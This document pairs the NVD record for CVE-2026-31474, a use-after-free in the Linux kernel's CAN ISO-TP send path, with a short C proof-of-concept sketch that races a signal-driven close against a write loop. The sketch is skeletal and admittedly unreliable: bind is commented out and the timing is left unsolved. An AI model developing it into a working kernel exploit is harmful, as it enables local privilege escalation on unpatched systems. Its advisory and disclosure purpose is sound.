CVE-2026-31474

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/isotp.h> int global_sock = -1; // Signal handler to simulate interrupt during close void sigint_handler(int sig) { if (global_sock >= 0) { close(global_sock); printf("Socket closed due to signal.\n"); } } int main() { int s; struct sockaddr_can addr; struct can_isotp_fc_options fcopts; char buffer[4096]; // Register signal handler signal(SIGINT, sigint_handler); // Create CAN ISOTP socket if ((s = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP)) < 0) { perror("socket"); return 1; } global_sock = s; // Setup CAN interface (Requires vcan or real can interface) // This is a simplified PoC structure memset(&addr, 0, sizeof(addr)); addr.can_family = AF_CAN; addr.can_addr.tp.rx_id = 0x123; addr.can_addr.tp.tx_id = 0x456; // bind(s, (struct sockaddr *)&addr, sizeof(addr)); // Uncomment if interface exists printf("Starting transmission...\n"); // Simulate sending data that might trigger the race // while(isotp_sendmsg() is running) { // send signal to interrupt close() wait_event // } // In a real exploit, precise timing is needed to hit the wait_event_interruptible while(1) { // Send data loop write(s, buffer, sizeof(buffer)); usleep(1000); } return 0; }

{"cve": {"id": "CVE-2026-31474", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:44.053", "lastModified": "2026-04-27T23:27:13.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: isotp: fix tx.buf use-after-free in isotp_sendmsg()\n\nisotp_sendmsg() uses only cmpxchg() on so->tx.state to serialize access\nto so->tx.buf. isotp_release() waits for ISOTP_IDLE via\nwait_event_interruptible() and then calls kfree(so->tx.buf).\n\nIf a signal interrupts the wait_event_interruptible() inside close()\nwhile tx.state is ISOTP_SENDING, the loop exits early and release\nproceeds to force ISOTP_SHUTDOWN and continues to kfree(so->tx.buf)\nwhile sendmsg may still be reading so->tx.buf for the final CAN frame\nin isotp_fill_dataframe().\n\nThe so->tx.buf can be allocated once when the standard tx.buf length needs\nto be extended. Move the kfree() of this potentially extended tx.buf to\nsk_destruct time when either isotp_sendmsg() and isotp_release() are done."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.1", "versionEndExcluding": "6.6.131", "matchCriteriaId": "523F816F-7981-495C-95C0-E3588239D4B9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.80", "matchCriteriaId": "97EB19EC-A11E-49C6-9D2F-6F6EC6CB98B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.4:-:*:*:*:*:*:*", "matchCriteriaId": "DE0B0BF6-0EEF-4FAD-927D-7A0DD77BEE75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2e62e7051eca75a7f2e3d52d62ec10d7d7aa358c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/424e95d62110cdbc8fd12b40918f37e408e35a92", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9649d051e54413049c009638ec1dc23962c884a4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cb3d6efa78460e6d50bf68806d0db66265709f64", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/eec8a1b18a79600bd4419079dc0026c1db72a830", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}